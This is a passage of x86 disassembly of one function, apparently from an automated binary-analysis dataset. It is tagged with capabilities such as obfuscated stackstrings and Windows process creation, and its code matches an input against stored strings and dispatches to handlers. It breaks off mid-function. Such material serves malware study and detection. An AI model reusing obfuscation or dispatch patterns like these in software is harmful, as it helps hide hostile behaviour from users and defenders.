Function at 0x51f5b0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x578a34
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x288
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x48], 0
push edi
mov edx, 0x5b6778
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x34], esi
call fcn.00441f20
mov edi, dword [ebx + 8]
mov edx, eax
test edi, edi
je 0x51f643
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f613
sub ecx, dword [ebp - 0x24]
je 0x51f643
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f643
cmp dword [edx + 0x14], 0x10
jb 0x51f62e
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f64a
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f67e
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f674
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f19
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f696
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 1
jmp 0x522f01
mov edx, 0x5b6808
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x51f6e1
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f6b1
sub ecx, dword [ebp - 0x24]
je 0x51f6e1
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f6e1
cmp dword [edx + 0x14], 0x10
jb 0x51f6cc
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f6e8
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f71c
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f712
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f1e
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x51fd21
mov edx, 0x5b67f0
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x51f771
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f741
sub ecx, dword [ebp - 0x24]
je 0x51f771
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f771
cmp dword [edx + 0x14], 0x10
jb 0x51f75c
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f778
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f7ac
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f7a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f23
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f860
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IHFjcnJnbGVxIHt7
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042abe0
push 2
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042bb40
mov ecx, esi
call fcn.00442050
add esp, 0x18
mov ecx, edi
call fcn.0045bf90
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x522f01
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51f851
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f55
push ecx
push edx
call fcn.00546919
add esp, 8
jmp 0x522f01
mov edx, 0x5b6820
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x51f8b0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f880
sub ecx, dword [ebp - 0x24]
je 0x51f8b0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f8b0
cmp dword [edx + 0x14], 0x10
jb 0x51f89b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f8b7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f8eb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f8e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f28
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f99f
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042abe0
push 1
push ecx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042bb40
mov ecx, esi
call fcn.00442050
add esp, 0x18
mov ecx, edi
call fcn.0045bf90
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x522f01
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51f990
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f55
push ecx
push edx
call fcn.00546919
add esp, 8
jmp 0x522f01
mov edx, 0x5b6838
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x51f9f0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f9c0
sub ecx, dword [ebp - 0x24]
je 0x51f9f0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f9f0
cmp dword [edx + 0x14], 0x10
jb 0x51f9db
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f9f7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51fa2b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fa21
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f2d
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51fa40
mov ecx, dword [esi + 0xc]
push 0
call fcn.0041b070
jmp 0x522f01
mov edx, 0x5b6970
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x51fa90
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51fa60
sub ecx, dword [ebp - 0x24]
je 0x51fa90
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51fa90
cmp dword [edx + 0x14], 0x10
jb 0x51fa7b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51fa97
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51facb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fac1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f32
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x520035
mov edx, 0x5b6988
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x51fb20
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51faf0
sub ecx, dword [ebp - 0x24]
je 0x51fb20
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51fb20
cmp dword [edx + 0x14], 0x10
jb 0x51fb0b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51fb27
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51fb5b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fb51
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f37
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x5200d1
mov edx, 0x5b6a60
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x51fbb0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51fb80
sub ecx, dword [ebp - 0x24]
je 0x51fbb0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51fbb0
cmp dword [edx + 0x14], 0x10
jb 0x51fb9b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51fbb7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51fbeb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fbe1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f3c
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x520171
mov edx, 0x5b6790
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x51fc40
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51fc10
sub ecx, dword [ebp - 0x24]
je 0x51fc40
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51fc40
cmp dword [edx + 0x14], 0x10
jb 0x51fc2b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51fc47
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51fc7b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fc71
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f41
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51fc8e
mov ecx, dword [esi + 0xc]
call fcn.0041ba40
jmp 0x522f01
mov edx, 0x5b6808
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x51fce0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51fcb0
sub ecx, dword [ebp - 0x24]
je 0x51fce0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51fce0
cmp dword [edx + 0x14], 0x10
jb 0x51fccb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51fce7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51fd1b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fd11
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f46
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51fd30
mov ecx, dword [esi + 0xc]
push 1
call fcn.0041b070
jmp 0x522f01
mov edx, 0x5b67f0
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x51fd80
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51fd50
sub ecx, dword [ebp - 0x24]
je 0x51fd80
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51fd80
cmp dword [edx + 0x14], 0x10
jb 0x51fd6b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51fd87
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51fdbb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fdb1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f4b
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51fe6f
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IHFjcnJnbGVxIHt7
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042abe0
push 2
push ecx
mov dword [ebp - 4], 2
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042bb40
mov ecx, esi
call fcn.00442050
add esp, 0x18
mov ecx, edi
call fcn.0045bf90
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x522f01
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51fe60
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f55
push ecx
push edx
call fcn.00546919
add esp, 8
jmp 0x522f01
mov edx, 0x5b6820
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x51fec0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51fe90
sub ecx, dword [ebp - 0x24]
je 0x51fec0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51fec0
cmp dword [edx + 0x14], 0x10
jb 0x51feab
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51fec7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51fefb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fef1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f50
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51ffa9
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042abe0
push 1
push ecx
mov dword [ebp - 4], 3
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042bb40
mov ecx, esi
call fcn.00442050
add esp, 0x18
mov ecx, edi
call fcn.0045bf90
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x522f01
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51fe60
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f55
jmp 0x51fe60
mov edx, 0x5b6970
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x51fff4
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ffc4
sub ecx, dword [ebp - 0x24]
je 0x51fff4
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51fff4
cmp dword [edx + 0x14], 0x10
jb 0x51ffdf
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51fffb
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52002f
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520025
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f5a
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520042
mov ecx, dword [esi + 0xc]
call fcn.00405f80
jmp 0x522f01
mov edx, 0x5b6988
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x520090
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520060
sub ecx, dword [ebp - 0x24]
je 0x520090
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520090
cmp dword [edx + 0x14], 0x10
jb 0x52007b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520097
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5200cb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5200c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f5f
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5200de
mov ecx, dword [esi + 0xc]
call fcn.00406260
jmp 0x522f01
mov edx, 0x5b6a60
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x520130
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520100
sub ecx, dword [ebp - 0x24]
je 0x520130
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520130
cmp dword [edx + 0x14], 0x10
jb 0x52011b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520137
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52016b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520161
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f64
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52017e
mov ecx, dword [esi + 0xc]
call fcn.0041be70
jmp 0x522f01
mov edx, 0x5b6850
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x5201d0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5201a0
sub ecx, dword [ebp - 0x24]
je 0x5201d0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5201d0
cmp dword [edx + 0x14], 0x10
jb 0x5201bb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5201d7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x52020b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520201
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f69
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520220
mov ecx, dword [esi + 0xc]
push 1
call fcn.00407040
jmp 0x522f01
mov edx, 0x5b6868
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x520270
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520240
sub ecx, dword [ebp - 0x24]
je 0x520270
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520270
cmp dword [edx + 0x14], 0x10
jb 0x52025b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520277
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5202ab
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5202a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f6e
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5202c0
mov ecx, dword [esi + 0xc]
push 0
call fcn.00407040
jmp 0x522f01
mov edx, 0x5b6880
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x52030a
mov ecx, edi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5202d8
sub ecx, esi
je 0x52030a
mov esi, dword [edx + 0x10]
test esi, esi
je 0x52030a
cmp dword [edx + 0x14], 0x10
mov dword [ebp - 0x64], esi
jb 0x5202f5
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520314
mov esi, dword [ebp - 0x64]
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520348
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52033e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f73
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52043b
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov ecx, edi
mov dword [ebp - 4], 4
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520383
sub ecx, edx
lea eax, [ebp - 0x148]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00523410
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x24], eax
call fcn.0054b8ed
cmp dword [ebp - 0x134], 0x10
lea esi, [ebp - 0x148]
mov edi, eax
lea eax, [ebp - 0x48]
cmovae esi, dword [ebp - 0x148]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.0054d24e
add esp, 0x14
cmp esi, dword [ebp - 0x48]
je 0x522f78
cmp dword [edi], 0x22
je 0x522f82
mov ecx, dword [ebp - 0x24]
test eax, eax
setne al
movzx eax, al
push eax
call fcn.00407320
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x522f01
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fe60
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f8c
jmp 0x51fe60
mov edx, 0x5b6730
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x52048b
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520456
sub ecx, dword [ebp - 0x24]
je 0x52048b
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52048b
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520476
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005572e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x520492
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5204c6
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5204bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f91
push ecx
push edx
call fcn.00546919
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5205d2
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 5
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520501
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00523410
add esp, 8
lea ecx, [ebp - 0x1a0]
call fcn.00431bf0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00432dd0
lea ecx, [ebp - 0x1a0]
call fcn.00431b70
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xe4]
cmp dword [ebp - 0xd0], 8
cmovae ecx, dword [ebp - 0xe4]
call fcn.0045f040
lea ecx, [ebp - 0xe4]
call fcn.0042bc90
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x522f01
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fe60
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522f96
jmp 0x51fe60
mov edx, 0x5b6748
lea ecx, [ebp - 0x60]
call fcn.00441f20
mov edx, eax
test edi, edi
je 0x520625
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5205f0
sub ecx, dword [ebp - 0x24]
je 0x520625
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520625
cmp dword [edx + 0x14], 0x10
mov esi, eax
